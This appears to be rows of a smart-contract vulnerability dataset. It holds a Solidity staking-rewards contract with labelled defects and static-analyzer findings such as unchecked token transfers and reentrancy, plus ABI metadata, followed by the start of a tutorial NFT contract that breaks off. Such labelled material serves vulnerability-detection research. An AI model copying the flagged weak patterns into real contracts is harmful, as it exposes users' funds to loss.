function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() internal {
owner = msg.sender;
emit OwnershipTransferred(address(0), owner);
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return msg.sender == owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(owner, address(0));
owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* This test is non-exhaustive, and there may be false-negatives: during the
* execution of a contract's constructor, its address will be reported as
* not containing a contract.
*
* IMPORTANT: It is unsafe to assume that an address for which this
* function returns false is an externally-owned account (EOA) and not a
* contract.
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call { value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IRewardReceiver {
function pushRewards() external;
}
contract StakingRewards is Ownable {
using SafeMath for uint;
IERC20 public lpt;
IERC20 public rewardToken;
uint public totalSupply;
uint public DURATION = 7 days;
IRewardReceiver public rewardReceiver;
uint public starttime;
uint public periodFinish = 0;
uint public rewardRate = 0;
uint public lastUpdateTime;
uint public rewardPerTokenStored;
mapping(address => uint) public userRewardPerTokenPaid;
mapping(address => uint) public rewards;
mapping(address => uint) public balanceOf;
event RewardAdded(uint reward);
event Staked(address indexed user, uint amount);
event Withdrawn(address indexed user, uint amount);
event RewardPaid(address indexed user, uint reward);
constructor(address _rewardToken, address _lptoken, IRewardReceiver _rewardReceiver) public {
rewardToken = IERC20(_rewardToken);
lpt = IERC20(_lptoken);
rewardReceiver = _rewardReceiver;
starttime = block.timestamp;
}
modifier checkStart() {
require(block.timestamp >= starttime, "not start");
_;
}
modifier updateReward(address _account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (_account != address(0)) {
rewards[_account] = earned(_account);
userRewardPerTokenPaid[_account] = rewardPerTokenStored;
}
_;
}
modifier pullRewards() {
rewardReceiver.pushRewards();
_;
}
function lastTimeRewardApplicable() public view returns (uint) {
return Math.min(block.timestamp, periodFinish);
}
function rewardPerToken() public view returns (uint) {
if (totalSupply == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(
lastTimeRewardApplicable()
.sub(lastUpdateTime)
.mul(rewardRate)
.mul(1e18)
.div(totalSupply)
);
}
function earned(address _account) public view returns (uint) {
return
balanceOf[_account]
.mul(rewardPerToken().sub(userRewardPerTokenPaid[_account]))
.div(1e18)
.add(rewards[_account]);
}
// stake visibility is public as overriding LPTokenWrapper's stake() function
function stake(uint _amount) public pullRewards updateReward(msg.sender) checkStart {
require(_amount > 0, "Cannot stake 0");
totalSupply = totalSupply.add(_amount);
balanceOf[msg.sender] = balanceOf[msg.sender].add(_amount);
lpt.transferFrom(msg.sender, address(this), _amount);
emit Staked(msg.sender, _amount);
}
function withdraw(uint _amount) public pullRewards updateReward(msg.sender) checkStart {
require(_amount > 0, "Cannot withdraw 0");
totalSupply = totalSupply.sub(_amount);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
lpt.transfer(msg.sender, _amount);
emit Withdrawn(msg.sender, _amount);
}
function exit() public {
withdraw(balanceOf[msg.sender]);
getReward();
}
function getReward() public updateReward(msg.sender) checkStart {
uint reward = earned(msg.sender);
if (reward > 0) {
rewards[msg.sender] = 0;
rewardToken.transfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
}
}
function notifyRewardAmount(uint _reward)
public
updateReward(address(0))
{
require(msg.sender == owner || msg.sender == address(rewardReceiver), "invalid reward source");
if (block.timestamp > starttime) {
if (block.timestamp >= periodFinish) {
rewardRate = _reward.div(DURATION);
} else {
uint remaining = periodFinish.sub(block.timestamp);
uint leftover = remaining.mul(rewardRate);
rewardRate = _reward.add(leftover).div(DURATION);
}
lastUpdateTime = block.timestamp;
periodFinish = block.timestamp.add(DURATION);
emit RewardAdded(_reward);
} else {
rewardRate = _reward.div(DURATION);
lastUpdateTime = starttime;
periodFinish = starttime.add(DURATION);
emit RewardAdded(_reward);
}
}
} | [{"defect": "Leaking_to_arbitary_address", "type": "Access_control", "severity": "Medium", "lines": ["367"]}, {"defect": "Bad_randomness", "type": "Business_logic", "severity": "Medium", "lines": ["305", "399", "400", "395"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["184", "179", "175"]}, {"defect": "Dependency_of_timestamp", "type": "Business_logic", "severity": "Medium", "lines": ["329", "392", "391", "309"]}] | [{"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"StakingRewards.sol": [218]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"StakingRewards.sol": [283]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"StakingRewards.sol": [256, 250, 251, 252, 253, 254, 255]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"StakingRewards.sol": [2, 3, 4]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"StakingRewards.sol": [10, 11, 12, 13]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"StakingRewards.sol": [153, 154, 155, 156]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"StakingRewards.sol": [228, 229, 230]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"StakingRewards.sol": [137, 138, 139]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"StakingRewards.sol": [207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"StakingRewards.sol": [396]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"StakingRewards.sol": [179, 180, 181, 182]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"StakingRewards.sol": [385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"StakingRewards.sol": [355, 356, 357, 358, 359, 360, 361]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"StakingRewards.sol": [371, 372, 373, 374]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"StakingRewards.sol": [184, 185, 186]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"StakingRewards.sol": [254]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"StakingRewards.sol": [363]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"StakingRewards.sol": [355]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"StakingRewards.sol": [283]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"StakingRewards.sol": [346]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"StakingRewards.sol": [385]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"StakingRewards.sol": [318]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"StakingRewards.sol": [318]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"StakingRewards.sol": [381]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"StakingRewards.sol": [373]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"StakingRewards.sol": [368]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"StakingRewards.sol": [360]}}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium", "lines": {"StakingRewards.sol": [318]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"StakingRewards.sol": [378]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"StakingRewards.sol": [392]}}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium", "lines": {"StakingRewards.sol": [380]}}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium", "lines": {"StakingRewards.sol": [359]}}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium", "lines": {"StakingRewards.sol": [367]}}] | null | null | [{"inputs":[{"internalType":"address","name":"_rewardToken","type":"address"},{"internalType":"address","name":"_lptoken","type":"address"},{"internalType":"contract IRewardReceiver","name":"_rewardReceiver","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"reward","type":"uint256"}],"name":"RewardAdded","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"reward","type":"uint256"}],"name":"RewardPaid","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Staked","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Withdrawn","type":"event"},{"inputs":[],"name":"DURATION","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_account","type":"address"}],"name":"earned","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"exit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastTimeRewardApplicable","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastUpdateTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpt","outputs":[{"internalType":"contract IERC20","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_reward","type":"uint256"}],"name":"notifyRewardAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"periodFinish","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rewardPerToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"rewardPerTokenStored","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"rewardRate","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"rewardReceiver","outputs":[{"internalType":"contract IRewardReceiver","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"rewardToken","outputs":[{"internalType":"contract IERC20","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"rewards","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"stake","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"starttime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"userRewardPerTokenPaid","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.6.12+commit.27d51765 | false | 200 | 000000000000000000000000e1212f852c0ca3491ca6b96081ac3cf40e9890940000000000000000000000003fc2731731066c5fab56e86b75539eb02d91537c00000000000000000000000096dd8183f1c5f9d8d6617f72cd11bb82ecbdfeb7 | Default | None | false | ipfs://bc1adb5cfb13b717a9cccdd25b8369dda6352ce149cd01520f142fa38289b396 |
||
NFT | 0x17e12a58cb371ee9b253ae918b87852abf10e798 | Solidity | // SPDX-License-Identifier: MIT
/**
!Disclaimer!
These contracts have been used to create tutorials,
and was created for the purpose to teach people
how to create smart contracts on the blockchain.
please review this code on your own before using any of
the following code for production.
HashLips will not be liable in any way if for the use
of the code. That being said, the code has been tested
to the best of the developers' knowledge to work as intended.
*/
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
pragma solidity ^0.8.0;
/**
